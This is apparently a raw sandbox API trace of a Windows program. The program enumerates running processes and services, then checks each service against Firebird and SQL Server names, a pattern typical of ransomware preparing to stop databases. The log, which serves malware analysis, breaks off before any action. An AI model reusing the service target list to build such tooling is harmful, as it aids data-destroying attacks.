th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="targetannounce.exe")) returned 1 [0060.719] lstrlenW (lpString="targetannounce.exe") returned 18 [0060.719] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="managed-davis.exe")) returned 1 [0060.721] lstrlenW (lpString="managed-davis.exe") returned 17 [0060.721] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="discretion_revenue.exe")) returned 1 [0060.723] lstrlenW (lpString="discretion_revenue.exe") returned 22 [0060.723] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawyer_canada_wma.exe")) returned 1 [0060.724] lstrlenW (lpString="lawyer_canada_wma.exe") returned 21 [0060.725] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0060.726] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0060.726] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0060.728] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0060.729] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0060.730] lstrlenW (lpString="dllhost.exe") returned 11 [0060.730] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0060.732] lstrlenW (lpString="dllhost.exe") returned 11 [0060.733] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0060.735] lstrlenW (lpString="winhost.exe") returned 11 [0060.735] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xac0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0060.737] lstrlenW (lpString="cmd.exe") returned 7 [0060.737] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0060.739] lstrlenW (lpString="conhost.exe") returned 11 [0060.739] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x990, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0060.740] lstrlenW (lpString="mode.com") returned 8 [0060.741] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x990, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0060.742] CloseHandle (hObject=0x140) returned 1 [0060.742] Sleep (dwMilliseconds=0x1f4) [0061.708] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x514c80 [0061.709] EnumServicesStatusExW (in: hSCManager=0x514c80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0061.710] GetLastError () returned 0xea [0061.710] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x134c) returned 0x36ee350 [0061.710] EnumServicesStatusExW (in: hSCManager=0x514c80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36ee350, cbBufSize=0x134c, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36ee350, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0061.864] CloseServiceHandle (hSCObject=0x514c80) returned 1 [0061.980] lstrlenW (lpString="Appinfo") returned 7 [0061.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0061.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0061.980] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0061.980] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0061.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0061.980] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0061.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0061.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0061.981] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0061.981] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0061.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0061.981] lstrlenW (lpString="AudioSrv") returned 8 [0061.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0061.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0061.981] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0061.981] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0061.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0061.982] lstrlenW (lpString="BFE") returned 3 [0061.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0061.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0061.982] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0061.982] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0061.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0061.982] lstrlenW (lpString="CryptSvc") returned 8 [0061.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0061.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0061.982] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0061.982] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0061.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0061.982] lstrlenW (lpString="CscService") returned 10 [0061.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0061.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0061.983] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0061.983] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0061.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0061.983] lstrlenW (lpString="DcomLaunch") returned 10 [0061.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0061.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0061.983] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0061.983] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0061.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0061.983] lstrlenW (lpString="Dhcp") returned 4 [0061.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0061.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0061.983] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0061.983] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0061.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0061.984] lstrlenW (lpString="Dnscache") returned 8 [0061.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0061.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0061.984] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0061.984] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0061.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0061.984] lstrlenW (lpString="DPS") returned 3 [0061.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0061.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0061.984] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0061.984] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0061.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0061.984] lstrlenW (lpString="eventlog") returned 8 [0061.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0061.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0061.985] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0061.985] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0061.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0061.985] lstrlenW (lpString="EventSystem") returned 11 [0061.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0061.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0061.985] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0061.985] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0061.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0061.985] lstrlenW (lpString="FontCache") returned 9 [0061.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0061.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0061.985] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0061.985] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0061.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0061.985] lstrlenW (lpString="gpsvc") returned 5 [0061.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0061.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0061.986] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0061.986] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0061.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0061.986] lstrlenW (lpString="iphlpsvc") returned 8 [0061.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0061.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0061.986] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0061.986] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0061.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0061.986] lstrlenW (lpString="LanmanServer") returned 12 [0061.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0061.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0061.986] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0061.987] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0061.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0061.987] lstrlenW (lpString="LanmanWorkstation") returned 17 [0061.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0061.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0061.987] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0061.987] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0061.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0061.987] lstrlenW (lpString="lmhosts") returned 7 [0061.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0061.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0061.987] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0061.987] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0061.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0061.987] lstrlenW (lpString="MMCSS") returned 5 [0061.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0061.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0061.988] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0061.988] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0061.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0061.988] lstrlenW (lpString="MpsSvc") returned 6 [0061.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0061.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0061.988] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0061.988] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0061.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0061.988] lstrlenW (lpString="Netman") returned 6 [0061.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0061.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0061.988] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0061.988] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0061.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0061.989] lstrlenW (lpString="netprofm") returned 8 [0061.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0061.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0061.989] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0061.989] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0061.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0061.989] lstrlenW (lpString="NlaSvc") returned 6 [0061.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0061.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0061.989] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0061.989] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0061.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0061.989] lstrlenW (lpString="nsi") returned 3 [0061.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0061.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0061.990] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0061.990] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0061.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0061.990] lstrlenW (lpString="PcaSvc") returned 6 [0061.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0061.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0061.990] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0061.990] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0061.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0061.990] lstrlenW (lpString="PlugPlay") returned 8 [0061.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0061.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0061.990] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0061.991] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0061.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0061.991] lstrlenW (lpString="Power") returned 5 [0061.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0061.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0061.991] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0061.991] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0061.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0061.991] lstrlenW (lpString="ProfSvc") returned 7 [0061.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0061.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0061.991] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0061.991] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0061.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0061.992] lstrlenW (lpString="RpcEptMapper") returned 12 [0061.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0061.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0061.992] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0061.992] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0061.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0061.992] lstrlenW (lpString="RpcSs") returned 5 [0061.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0061.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0061.992] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0061.992] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0061.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0061.992] lstrlenW (lpString="SamSs") returned 5 [0061.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0061.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0061.993] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0061.993] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0061.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0061.993] lstrlenW (lpString="Schedule") returned 8 [0061.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0061.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0061.993] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0061.993] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0061.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0061.993] lstrlenW (lpString="SENS") returned 4 [0061.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0061.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0061.993] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0061.993] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0061.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0061.993] lstrlenW (lpString="ShellHWDetection") returned 16 [0061.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0061.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0061.994] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0061.994] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0061.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0061.994] lstrlenW (lpString="Spooler") returned 7 [0061.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0061.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0061.994] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0061.994] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0061.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0061.994] lstrlenW (lpString="sppsvc") returned 6 [0061.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0061.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0061.994] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0061.995] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0061.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0061.995] lstrlenW (lpString="SysMain") returned 7 [0061.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0061.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0061.995] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0061.995] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0061.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0061.995] lstrlenW (lpString="Themes") returned 6 [0061.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0061.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0061.995] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0061.995] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0061.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0061.996] lstrlenW (lpString="TrkWks") returned 6 [0061.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0061.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0061.996] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0061.996] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0061.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0061.996] lstrlenW (lpString="UxSms") returned 5 [0061.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0061.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0061.996] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0061.996] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0061.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0061.996] lstrlenW (lpString="WdiServiceHost") returned 14 [0061.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0061.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0061.997] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0061.997] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0061.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0061.997] lstrlenW (lpString="WdiSystemHost") returned 13 [0061.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0061.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0061.997] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0061.997] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0061.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0061.997] lstrlenW (lpString="WinDefend") returned 9 [0061.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0061.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0061.997] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0061.998] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0061.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0061.998] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0061.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0061.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0061.998] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0061.998] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0061.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0061.998] 